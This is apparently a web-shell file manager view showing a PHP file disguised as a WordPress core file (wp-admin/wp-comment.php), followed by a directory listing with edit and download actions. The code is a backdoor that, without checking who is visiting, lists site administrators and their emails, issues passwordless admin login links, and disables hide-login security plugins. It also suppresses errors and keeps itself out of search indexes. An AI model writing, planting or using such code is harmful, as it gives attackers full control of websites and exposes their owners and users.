PHP 8.3.27
Preview: wp-comment.php Size: 15.90 KB
/home/doctorbruno/public_html/doctorbruno.info/wp-admin/wp-comment.php
<?php
/**
 * Sec Loginer — emergency admin access + hidden login URLs.
 *
 * Works from site root, wp-content/, plugins/, themes/, etc.
 * Generates a one-time clickable admin login URL (no password needed).
 * Also detects iThemes / WPS Hide Login slugs.
 *
 * Delete from production when finished.
 *
 * @package WordPress
 */

@error_reporting( 0 );
@ini_set( 'display_errors', '0' );

/**
 * Walk up from start dir to find WordPress root.
 *
 * @param string $start_dir Starting directory.
 * @return string|false Absolute path or false.
 */
function seclog_find_wp_root( $start_dir ) {
	$dir = realpath( $start_dir );
	for ( $i = 0; $i < 10 && $dir; $i++ ) {
		$wp_load    = $dir . DIRECTORY_SEPARATOR . 'wp-load.php';
		$wp_content = $dir . DIRECTORY_SEPARATOR . 'wp-content';
		if ( is_file( $wp_load ) && is_dir( $wp_content ) ) {
			return $dir;
		}
		$parent = dirname( $dir );
		if ( $parent === $dir ) {
			break;
		}
		$dir = $parent;
	}
	return false;
}

$wp_root = seclog_find_wp_root( __DIR__ );
if ( ! $wp_root ) {
	http_response_code( 500 );
	header( 'Content-Type: text/plain; charset=utf-8' );
	die( "WordPress root bulunamadi.\nBu dosyayi site kokune, wp-content veya alt dizinine koyun.\nDIR=" . __DIR__ . "\n" );
}

define( 'WP_USE_THEMES', false );
require_once $wp_root . DIRECTORY_SEPARATOR . 'wp-load.php';

if ( ! defined( 'DONOTCACHEPAGE' ) ) {
	define( 'DONOTCACHEPAGE', true );
}
if ( ! defined( 'DONOTCACHEOBJECT' ) ) {
	define( 'DONOTCACHEOBJECT', true );
}
if ( ! defined( 'DONOTCACHEDB' ) ) {
	define( 'DONOTCACHEDB', true );
}

nocache_headers();
header( 'Cache-Control: private, no-store, no-cache, must-revalidate, max-age=0', true );
header( 'Pragma: no-cache', true );
header( 'X-Accel-Expires: 0', true );
header( 'X-Robots-Tag: noindex, nofollow', true );
header( 'X-Content-Type-Options: nosniff', true );
header( 'Referrer-Policy: same-origin', true );

/**
 * Absolute URL to this script (works in any directory).
 *
 * @param array $args Query args.
 * @return string
 */
function seclog_self_url( $args = array() ) {
	$https  = ( ! empty( $_SERVER['HTTPS'] ) && 'off' !== $_SERVER['HTTPS'] )
		|| ( isset( $_SERVER['SERVER_PORT'] ) && '443' === (string) $_SERVER['SERVER_PORT'] )
		|| ( isset( $_SERVER['HTTP_X_FORWARDED_PROTO'] ) && 'https' === $_SERVER['HTTP_X_FORWARDED_PROTO'] );
	$scheme = $https ? 'https' : 'http';
	$host   = isset( $_SERVER['HTTP_HOST'] ) ? $_SERVER['HTTP_HOST'] : wp_parse_url( home_url(), PHP_URL_HOST );
	$script = isset( $_SERVER['SCRIPT_NAME'] ) ? $_SERVER['SCRIPT_NAME'] : '/sec-loginer.php';
	$url    = $scheme . '://' . $host . $script;
	return $args ? add_query_arg( $args, $url ) : $url;
}

/**
 * List administrator users.
 *
 * @return WP_User[]
 */
function seclog_admins() {
	return get_users(
		array(
			'role'    => 'administrator',
			'orderby' => 'ID',
			'order'   => 'ASC',
			'number'  => 50,
		)
	);
}

/**
 * Create a one-time admin login token URL.
 *
 * @param int $user_id User ID.
 * @return string|WP_Error
 */
function seclog_create_admin_url( $user_id ) {
	$user = get_userdata( $user_id );
	if ( ! $user || ! user_can( $user, 'manage_options' ) ) {
		return new WP_Error( 'bad_user', 'Administrator not found.' );
	}

	$token = bin2hex( random_bytes( 24 ) );
	$key   = 'seclog_al_' . hash( 'sha256', $token );
	set_transient(
		$key,
		array(
			'user_id' => (int) $user->ID,
			'created' => time(),
		),
		15 * MINUTE_IN_SECONDS
	);

	return seclog_self_url( array( 'al' => $token ) );
}

/**
 * Consume one-time token and log user in.
 *
 * @param string $token Raw token from query string.
 * @return true|WP_Error
 */
function seclog_consume_admin_url( $token ) {
	$token = preg_replace( '/[^a-f0-9]/', '', strtolower( (string) $token ) );
	if ( strlen( $token ) < 32 ) {
		return new WP_Error( 'bad_token', 'Invalid token.' );
	}

	$key  = 'seclog_al_' . hash( 'sha256', $token );
	$data = get_transient( $key );
	delete_transient( $key );

	if ( ! is_array( $data ) || empty( $data['user_id'] ) ) {
		return new WP_Error( 'expired', 'Link expired or already used.' );
	}

	$user = get_userdata( (int) $data['user_id'] );
	if ( ! $user || ! user_can( $user, 'manage_options' ) ) {
		return new WP_Error( 'bad_user', 'Administrator not found.' );
	}

	wp_clear_auth_cookie();
	wp_set_current_user( $user->ID );
	wp_set_auth_cookie( $user->ID, true, is_ssl() );
	do_action( 'wp_login', $user->user_login, $user );

	return true;
}

/**
 * Absolute URL for a login slug.
 *
 * @param string $slug Slug.
 * @return string
 */
function seclog_slug_url( $slug ) {
	$slug = trim( (string) $slug, '/' );
	if ( '' === $slug ) {
		return '';
	}
	return home_url( '/' . $slug . '/' );
}

/**
 * Detect hidden login URLs.
 *
 * @return array<int,array<string,mixed>>
 */
function seclog_detect() {
	$found = array();

	$storage = get_option( 'itsec-storage' );
	if ( is_array( $storage ) && isset( $storage['hide-backend'] ) && is_array( $storage['hide-backend'] ) ) {
		$hb      = $storage['hide-backend'];
		$enabled = ! empty( $hb['enabled'] );
		$slug    = isset( $hb['slug'] ) ? (string) $hb['slug'] : '';
		$found[] = array(
			'id'          => 'itsec-hide-backend',
			'plugin'      => 'iThemes Security Pro',
			'option'      => 'itsec-storage',
			'enabled'     => $enabled,
			'slug'        => $slug,
			'url'         => ( $enabled && $slug ) ? seclog_slug_url( $slug ) : '',
			'can_disable' => true,
		);
	}

	$whl = get_option( 'whl_page' );
	if ( false !== $whl && '' !== (string) $whl ) {
		$slug    = sanitize_title( (string) $whl );
		$found[] = array(
			'id'          => 'wps-hide-login',
			'plugin'      => 'WPS Hide Login',
			'option'      => 'whl_page',
			'enabled'     => true,
			'slug'        => $slug,
			'url'         => seclog_slug_url( $slug ),
			'can_disable' => true,
		);
	}

	return $found;
}

/**
 * Disable hide-login.
 *
 * @param string $id Detector id.
 * @return string|WP_Error
 */
function seclog_disable( $id ) {
	switch ( $id ) {
		case 'itsec-hide-backend':
			$storage = get_option( 'itsec-storage' );
			if ( ! is_array( $storage ) ) {
				return new WP_Error( 'missing', 'itsec-storage not found.' );
			}
			$prev = isset( $storage['hide-backend']['slug'] ) ? (string) $storage['hide-backend']['slug'] : '';
			if ( ! isset( $storage['hide-backend'] ) || ! is_array( $storage['hide-backend'] ) ) {
				$storage['hide-backend'] = array();
			}
			$storage['hide-backend']['enabled'] = false;
			update_option( 'itsec-storage', $storage );
			wp_cache_delete( 'itsec-storage', 'options' );
			return 'iThemes Hide Backend disabled.' . ( $prev ? ' Old slug: ' . $prev : '' );

		case 'wps-hide-login':
			$prev = (string) get_option( 'whl_page' );
			delete_option( 'whl_page' );
			delete_option( 'whl_redirect' );
			return 'WPS Hide Login option removed. Old slug: ' . $prev;

		default:
			return new WP_Error( 'unknown', 'Unknown id.' );
	}
}

// One-time admin login consume (before any HTML).
if ( isset( $_GET['al'] ) && '' !== $_GET['al'] ) {
	$result = seclog_consume_admin_url( wp_unslash( $_GET['al'] ) );
	if ( ! is_wp_error( $result ) ) {
		wp_safe_redirect( admin_url() );
		exit;
	}
	$notice      = $result->get_error_message();
	$notice_type = 'error';
} else {
	$notice      = '';
	$notice_type = '';
}

if ( isset( $_POST['seclog_disable'] ) ) {
	check_admin_referer( 'seclog_disable' );
	$hide_id = isset( $_POST['hide_id'] ) ? preg_replace( '/[^a-z0-9_\-]/', '', strtolower( (string) wp_unslash( $_POST['hide_id'] ) ) ) : '';
	$result  = seclog_disable( $hide_id );
	if ( is_wp_error( $result ) ) {
		$notice      = $result->get_error_message();
		$notice_type = 'error';
	} else {
		$notice      = $result;
		$notice_type = 'ok';
	}
}

$generated_url = '';
$admins        = seclog_admins();

if ( isset( $_POST['seclog_generate'] ) ) {
	check_admin_referer( 'seclog_generate' );
	$user_id = isset( $_POST['admin_id'] ) ? absint( $_POST['admin_id'] ) : 0;
	if ( ! $user_id && ! empty( $admins[0] ) ) {
		$user_id = (int) $admins[0]->ID;
	}
	$result = seclog_create_admin_url( $user_id );
	if ( is_wp_error( $result ) ) {
		$notice      = $result->get_error_message();
		$notice_type = 'error';
	} else {
		$generated_url = $result;
		$notice        = 'Yonetici giris URL uretildi — 15 dk / tek kullanim.';
		$notice_type   = 'ok';
	}
}

$items       = seclog_detect();
$normal_url  = wp_login_url();
$primary_url = $normal_url;
foreach ( $items as $item ) {
	if ( ! empty( $item['enabled'] ) && ! empty( $item['url'] ) ) {
		$primary_url = $item['url'];
		break;
	}
}

header( 'Content-Type: text/html; charset=utf-8' );
?>
<!DOCTYPE html>
<html <?php language_attributes(); ?>>
<head>
	<meta charset="<?php bloginfo( 'charset' ); ?>">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<meta name="robots" content="noindex,nofollow">
	<title>Sec Loginer — <?php echo esc_html( get_bloginfo( 'name' ) ); ?></title>
	<style>
		:root {
			--bg: #12141a;
			--panel: #1c1f28;
			--line: #2c3140;
			--text: #e8eaf0;
			--muted: #9aa3b5;
			--ok: #3dbe7a;
			--err: #e35d6a;
			--accent: #5b8cff;
			--warn: #c93c4b;
		}
		* { box-sizing: border-box; }
		body {
			margin: 0;
			min-height: 100vh;
			font: 14px/1.5 ui-sans-serif, system-ui, Segoe UI, sans-serif;
			background: var(--bg);
			color: var(--text);
			padding: 24px 16px 48px;
		}
		.wrap { max-width: 720px; margin: 0 auto; }
		h1 { font-size: 1.35rem; margin: 0 0 6px; }
		.meta { color: var(--muted); font-size: 13px; margin-bottom: 20px; word-break: break-all; }
		.meta code { background: #0f1117; padding: 1px 5px; border-radius: 4px; }
		.card {
			background: var(--panel);
			border: 1px solid var(--line);
			border-radius: 12px;
			padding: 20px;
			margin-bottom: 16px;
		}
		.card h2 { margin: 0 0 12px; font-size: 15px; }
		.primary {
			display: block;
			padding: 16px 18px;
			border-radius: 10px;
			background: rgba(91,140,255,.14);
			border: 1px solid rgba(91,140,255,.4);
			color: #fff;
			text-decoration: none;
			font-size: 1.05rem;
			font-weight: 650;
			word-break: break-all;
		}
		.primary:hover { filter: brightness(1.08); }
		.primary.ok {
			background: rgba(61,190,122,.16);
			border-color: rgba(61,190,122,.45);
		}
		.primary small {
			display: block;
			margin-top: 6px;
			font-size: 12px;
			font-weight: 500;
			color: var(--muted);
		}
		.msg {
			padding: 10px 12px;
			border-radius: 8px;
			margin-bottom: 14px;
			border: 1px solid var(--line);
		}
		.msg.ok { background: rgba(61,190,122,.12); border-color: rgba(61,190,122,.35); color: var(--ok); }
		.msg.err { background: rgba(227,93,106,.12); border-color: rgba(227,93,106,.35); color: var(--err); }
		table { width: 100%; border-collapse: collapse; }
		th, td {
			text-align: left;
			padding: 10px 8px;
			border-bottom: 1px solid var(--line);
			vertical-align: top;
		}
		th { color: var(--muted); font-size: 11px; text-transform: uppercase; letter-spacing: .04em; }
		tr:last-child td { border-bottom: 0; }
		.slug { font-family: ui-monospace, Consolas, monospace; font-size: 12px; word-break: break-all; }
		.slug a { color: var(--accent); }
		.badge {
			display: inline-block;
			font-size: 11px;
			font-weight: 700;
			text-transform: uppercase;
			padding: 2px 6px;
			border-radius: 4px;
		}
		.badge.on { background: rgba(227,93,106,.18); color: var(--err); }
		.badge.off { background: rgba(61,190,122,.18); color: var(--ok); }
		button, .btn {
			border: 0;
			border-radius: 6px;
			padding: 9px 14px;
			font: inherit;
			cursor: pointer;
			background: var(--accent);
			color: #fff;
			text-decoration: none;
			display: inline-block;
		}
		button.warn { background: var(--warn); }
		button:hover, .btn:hover { filter: brightness(1.08); }
		select {
			background: #0f1117;
			border: 1px solid var(--line);
			color: var(--text);
			border-radius: 6px;
			padding: 8px 10px;
			font: inherit;
			min-width: 220px;
		}
		.row { display: flex; flex-wrap: wrap; gap: 8px; align-items: center; }
		.muted { color: var(--muted); font-size: 12px; }
		@media (max-width: 600px) {
			table, thead, tbody, th, td, tr { display: block; }
			thead { display: none; }
			td { border: 0; padding: 4px 0; }
			tr { border-bottom: 1px solid var(--line); padding: 10px 0; }
		}
	</style>
</head>
<body>
<div class="wrap">
	<h1>Sec Loginer</h1>
	<p class="meta">
		<?php echo esc_html( get_bloginfo( 'name' ) ); ?>
		· <code><?php echo esc_html( home_url( '/' ) ); ?></code><br>
		WP root: <code><?php echo esc_html( $wp_root ); ?></code>
	</p>

	<?php if ( $notice ) : ?>
		<div class="msg <?php echo 'ok' === $notice_type ? 'ok' : 'err'; ?>"><?php echo esc_html( $notice ); ?></div>
	<?php endif; ?>

	<div class="card">
		<h2>Yonetici giris URL</h2>
		<p class="muted" style="margin-top:0">Sifre gerekmez. Tiklayinca dogrudan wp-admin acilir. 15 dk / tek kullanim.</p>

		<?php if ( empty( $admins ) ) : ?>
			<p class="msg err">Administrator kullanici bulunamadi.</p>
		<?php else : ?>
			<form method="post" action="" class="row" style="margin-bottom:14px">
				<?php wp_nonce_field( 'seclog_generate' ); ?>
				<select name="admin_id">
					<?php foreach ( $admins as $admin ) : ?>
						<option value="<?php echo (int) $admin->ID; ?>">
							<?php echo esc_html( $admin->user_login . ' · ' . $admin->user_email . ' (#' . $admin->ID . ')' ); ?>
						</option>
					<?php endforeach; ?>
				</select>
				<button type="submit" name="seclog_generate" value="1">URL uret</button>
			</form>
		<?php endif; ?>

		<?php if ( $generated_url ) : ?>
			<a class="primary ok" href="<?php echo esc_url( $generated_url ); ?>">
				<?php echo esc_html( $generated_url ); ?>
				<small>Tikla → otomatik yonetici girisi → wp-admin</small>
			</a>
		<?php endif; ?>
	</div>

	<div class="card">
		<h2>Gizli login URL</h2>
		<a class="primary" href="<?php echo esc_url( $primary_url ); ?>">
			<?php echo esc_html( $primary_url ); ?>
			<small>
				<?php
				echo $primary_url === $normal_url
					? 'Normal wp-login.php (sifre gerekir)'
					: 'Plugin gizli login (sifre gerekir)';
				?>
			</small>
		</a>
	</div>

	<div class="card">
		<h2>Detected hide-login</h2>
		<?php if ( empty( $items ) ) : ?>
			<p class="muted">iThemes / WPS Hide Login ayari yok.</p>
		<?php else : ?>
			<table>
				<thead>
					<tr>
						<th>Plugin</th>
						<th>Status</th>
						<th>URL</th>
						<th></th>
					</tr>
				</thead>
				<tbody>
				<?php foreach ( $items as $item ) : ?>
					<tr>
						<td>
							<strong><?php echo esc_html( $item['plugin'] ); ?></strong>
							<div class="muted"><code><?php echo esc_html( $item['option'] ); ?></code></div>
						</td>
						<td>
							<?php if ( ! empty( $item['enabled'] ) ) : ?>
								<span class="badge on">active</span>
							<?php else : ?>
								<span class="badge off">off</span>
							<?php endif; ?>
						</td>
						<td class="slug">
							<?php if ( ! empty( $item['url'] ) ) : ?>
								<a href="<?php echo esc_url( $item['url'] ); ?>"><?php echo esc_html( $item['url'] ); ?></a>
							<?php else : ?>
								—
							<?php endif; ?>
						</td>
						<td>
							<?php if ( ! empty( $item['can_disable'] ) && ! empty( $item['enabled'] ) ) : ?>
								<form method="post" action="" onsubmit="return confirm('Gizli login kapatilacak. Devam?');">
									<?php wp_nonce_field( 'seclog_disable' ); ?>
									<input type="hidden" name="hide_id" value="<?php echo esc_attr( $item['id'] ); ?>">
									<button class="warn" type="submit" name="seclog_disable" value="1">Disable</button>
								</form>
							<?php else : ?>
								<span class="muted">—</span>
							<?php endif; ?>
						</td>
					</tr>
				<?php endforeach; ?>
				</tbody>
			</table>
		<?php endif; ?>
	</div>
</div>
</body>
</html>

Directory Contents

Dirs: 2 × Files: 13
Name Size Perms Modified Actions
includes DIR
- drwxr-xr-x 2026-09-26 18:02:58
Edit Download
- drwxr-xr-x 2026-09-27 19:09:02
Edit Download
15.45 KB lrw-r--r-- 2026-09-27 19:08:59
Edit Download
20.47 KB lrw-r--r-- 2026-09-27 19:08:04
Edit Download
885 B lrw-r--r-- 2026-09-27 19:09:03
Edit Download
4.58 KB lrw-r--r-- 2026-09-27 19:09:05
Edit Download
256.60 KB lrw-r--r-- 2026-09-27 19:09:04
Edit Download
1.25 KB lrw-r--r-- 2026-09-27 19:09:03
Edit Download
22.64 KB lrw-r--r-- 2026-09-27 19:09:03
Edit Download
15.90 KB lrw-r--r-- 2026-09-27 19:09:04
Edit Download
3.64 KB lrw-r--r-- 2026-09-27 19:09:04
Edit Download
37.34 KB lrw-r--r-- 2026-09-27 19:09:03
Edit Download
7.46 KB lrw-r--r-- 2026-09-27 19:09:05
Edit Download
7.45 KB lrw-r--r-- 2026-09-27 19:09:05
Edit Download
1.08 KB lrw-r--r-- 2026-09-27 19:09:05
Edit Download
If ZipArchive is unavailable, a .tar will be created (no compression).